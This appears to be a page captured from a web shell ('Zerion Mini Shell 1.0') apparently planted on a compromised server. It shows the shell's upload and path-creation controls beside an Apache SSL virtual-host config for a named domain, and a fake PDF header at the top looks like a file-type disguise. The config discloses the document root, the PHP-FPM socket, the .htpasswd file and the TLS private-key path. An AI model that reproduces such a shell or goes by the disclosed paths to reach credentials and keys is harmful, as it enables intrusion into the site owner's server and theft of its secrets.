%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/apache2/sites-enabled/
Upload File :
Create Path :
Current File : //etc/apache2/sites-enabled/cwg-le-ssl.conf

<IfModule mod_ssl.c>
<VirtualHost *:443>
  ServerName cwg.eco-n-tech.co.uk
  ServerAdmin cwg@gmail.com
  DocumentRoot /var/www/cwg
  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined

  <FilesMatch \.php> # Apache 2.4.10+ can proxy to unix socket 
    SetHandler "proxy:unix:/var/run/php/php7.4-fpm.sock|fcgi://localhost/" 
  </FilesMatch>

  <Directory /var/www/cwg/>
    Options Indexes FollowSymLinks
    AllowOverride all
    Require all granted
    AuthType Basic
    AuthName "Restricted Content"
    AuthUserFile /etc/apache2/.htpasswd
    Require valid-user
  </Directory>

SSLCertificateFile /etc/letsencrypt/live/cwg.eco-n-tech.co.uk/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/cwg.eco-n-tech.co.uk/privkey.pem
Include /etc/letsencrypt/options-ssl-apache.conf
</VirtualHost>
</IfModule>

Zerion Mini Shell 1.0